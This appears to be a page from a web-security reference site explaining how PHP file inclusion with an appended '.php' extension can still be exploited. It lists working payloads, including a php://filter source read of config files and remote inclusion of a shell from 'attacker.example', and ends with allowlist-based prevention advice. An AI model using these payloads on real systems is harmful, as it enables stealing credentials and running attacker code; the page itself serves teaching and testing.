Skip to content
mediumCVSS 5.3CWE-22A01:2021 – Broken Access Control

Extension Append Bypasses

include($page . '.php') is the most common shape of this bug, and the two famous bypasses for it both died in 2010. Here is what is actually left.

The constraint

include($_GET['page'] . '.php');

This is extremely common, because from the developer's point of view it is a tidy way to let ?page=about mean about.php. It is not a security control and was not intended as one, but it constrains you all the same: you can only reach files whose names end in .php.

The two bypasses everyone knows — the null byte and path truncation — were both fixed in PHP 5.3.4, December 2010. Everything else on this page is what remains, and the honest summary is that against a modern PHP this constraint mostly holds.

The two dead ones

Payloadfor completeness — these do not work
# Null byte truncation. PHP passed the string to a C API that stopped at the
# first null, so the appended .php was never seen.
../../../../etc/passwd%00
  -> DEAD. Fixed in PHP 5.3.4 (Dec 2010). PHP 8 raises a ValueError.

# Path truncation. PHP silently truncated paths past PATH_MAX (4096), and
# trailing ./ sequences are no-ops during resolution, so padding pushed the
# .php off the end.
../../../../etc/passwd/././././././…  (x ~2000)
../../../../etc/passwd\.\.\.\.\.…
  -> DEAD. Same fix, same release.

# Both are still the first suggestion in most material on this topic, which
# is the single clearest illustration of why this site exists.
#
# Worth one request against a genuinely ancient appliance on PHP 5.2.
# Not worth one against anything supported.

What still works

Payloadin order of usefulness
# 1. Just target a .php file. The constraint is only a problem if you wanted
#    something else — and the file you most want IS a .php file.
?page=php://filter/convert.base64-encode/resource=config
  -> resource=config.php  ... wait, no: the .php is appended to the WHOLE
     string, giving resource=config + '.php'. Which is exactly right.
     This works, and it is the most useful entry on this list.

# 2. Query-string termination — REMOTE targets only. The appended suffix
#    becomes part of the query string of YOUR url.
?page=http://attacker.example/shell.txt?
  -> http://attacker.example/shell.txt?.php   (your server ignores ?.php)

# 3. Fragment termination — remote only. Your server never sees it.
?page=http://attacker.example/shell.txt%23
  -> http://attacker.example/shell.txt#.php

# 4. Name the archive entry so the suffix completes it.
?page=zip://./uploads/avatar.jpg%23shell
  -> entry 'shell' + '.php' = shell.php

# 5. Directory traversal INTO a .php file you control the contents of.
#    Log and session poisoning both fail here (logs are not .php), but an
#    uploaded file named shell.php.jpg does not help either — the suffix
#    goes on the end, not the middle.

The php://filter case is the important one

It is worth spelling out because it inverts the usual reading of this constraint.

The suffix is appended to the entire parameter, so:

?page=php://filter/convert.base64-encode/resource=config

becomes

php://filter/convert.base64-encode/resource=config.php

which is exactly the file you wanted. An appended .php is helpful here, not obstructive — you drop the extension from your payload and the application adds it back.

The same trick works for any .php target: resource=../config, resource=includes/db, resource=index.

Where it does not work is a filter chain, because the chain ends in resource=php://temp and appending .php gives php://temp.php, which is not a valid resource. This is one of the more common reasons a chain silently returns nothing, and it is the second thing to check after input position.

Variants of the pattern

CodeWhat you can reachNotes
include($p . '.php')Anything ending .phpThe main case. php://filter with the extension dropped
include('pages/' . $p . '.php')Anything ending .php, no wrappersPrefix kills php:// as well. Traversal still works
include($p . '.inc.php')Anything ending .inc.phpRarer; same approach, longer suffix
include($p . '/index.php')Any directory containing index.phpTraversal into a directory rather than a file
include("lang/$p.php")Anything ending .php, no wrappersSame as the prefixed case
include($p)Anything at allNo constraint. Check first — it is more common than you expect

Confirming a suffix is appended

You cannot see the source, so infer it from the errors.

Read the error message. failed to open stream: No such file or directory in /var/www/html/index.php is usually preceded by the full attempted path, which shows the suffix directly. One request.

Compare two requests. ?page=/etc/passwd and ?page=/etc/passwd.php producing the same error means the suffix is being added to the first. Different errors mean it is not.

Use a file you know exists. ?page=/etc/passwd failing while ?page=/etc/host succeeds would tell you the suffix is .conf — contrived, but the principle generalises: find a file whose name plus the suffix exists.

Read the source. If php://filter is available, one request settles it and tells you the prefix as well. This is why the methodology puts a source read before bypass hunting.

Prevention

Appending an extension is not a security control and should not be described as one in a report or a fix.

It narrows what an attacker can reach, which is worth something, but as shown above it also makes the single most useful payload — a php://filter source read — shorter. It is not on the side of the defender in any consistent way.

The fix is the same as everywhere on this site: map the parameter through an allowlist so it stops being a path. See Defense in Depth, and note that if you are going to append a fixed extension anyway, you have already accepted that the set of valid values is finite — which means an allowlist costs you nothing you were not already paying.